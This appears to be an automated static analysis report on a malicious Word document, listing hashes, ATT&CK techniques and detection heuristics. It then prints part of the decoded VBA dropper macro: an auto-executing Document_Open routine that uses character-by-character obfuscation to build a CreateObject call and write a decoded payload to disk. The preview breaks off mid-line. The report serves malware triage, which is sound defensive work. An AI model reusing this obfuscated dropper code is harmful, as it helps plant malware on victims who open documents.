Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 366d8b84a43a528e…

MALICIOUS

Office (OLE)

2.11 MB Created: 2018-01-17 12:44:00 Authoring application: Microsoft Office Word First seen: 2018-01-23
MD5: 781bbdb421a473206fc37919f28a27db SHA-1: d85b45996684e12dabcedcd03a5c8e0bdd6f1935 SHA-256: 366d8b84a43a528e6aaf9ecfc38980b148f983967803914471ccf011b9bb0832
224 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro uses CreateObject and appears to deobfuscate and execute code, likely to download a second-stage payload. The document body explicitly instructs the user to enable editing and content, a common social engineering tactic to bypass macro security.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6425600-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6425600-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 520880 bytes
SHA-256: 4d9fb2c74ff18129e22ae6796f322d14a8175ac049b5a9937a99f5352757e51e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 697 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Option Explicit

Sub Document_Open()
On Error Resume Next

oOmuF

Dim lGtkM As String
lGtkM = bvZQK(YJkga)
Dim WUVQs As String
WUVQs = YfTZz(CCjvt(14484, 14535))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20339, 20240)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(15334, 15252)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13553, 13441)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13339, 13429)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(15788, 15819)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(14398, 14352)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(11594, 11532)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(16975, 16934)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20525, 20545)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(14484, 14535)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18247, 18238)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(13608, 13659)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(12086, 12123)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20388, 20459)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20880, 20978)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(11896, 11794)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18726, 18755)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(20339, 20240)))
WUVQs = HozTI(WUVQs, YfTZz(CCjvt(18226, 18246)))
Dim GiFVa As Object
Set GiFVa = CreateObject(WUVQs)
Dim fWfeY As Object
Dim euIGw As String
euIGw = ""
euIGw = HozTI(euIGw, YfTZz(CCjvt(18376, 18315)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15388, 15398)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(18099, 18147)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15334, 15252)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15788, 15819)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(15334, 15252)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(12086, 12123)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16035, 16103)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(18226, 18246)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16183, 16214)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(13570, 13653)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(19460, 19552)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(17647, 17560)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13608, 13659)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(20332, 20258)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(21084, 21000)))
euIGw = HozTI(euIGw, "\")
euIGw = HozTI(euIGw, YfTZz(CCjvt(13570, 13653)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(19460, 19552)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16946, 16989)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(17647, 17560)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13608, 13659)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(20332, 20258)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(21084, 21000)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(14398, 14352)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(13339, 13429)))
euIGw = HozTI(euIGw, YfTZz(CCjvt(16975, 16934)))


Set fWfeY = GiFVa.CreateTextFile(euIGw, True, True)
fWfeY.Write lGtkM
fWfeY.Close


NhFSC
MEAfr
End Sub

Public Function MEAfr()
    Dim IDcEZ As Object
    Dim PtEta As String
    PtEta = ""
    PtEta = HozTI(PtEta, YfTZz(CCjvt(14484, 14535)))
    PtEta = HozTI(PtEta, YfTZz(CCjvt(12419, 12523)))
    PtEta = HozTI(PtEta, YfTZz(CCjvt(18726, 18755)))
    PtEta = HozTI(PtEta, YfTZz(CCjvt(20525, 20545)))
    PtEta = HozTI(PtEt
... (truncated)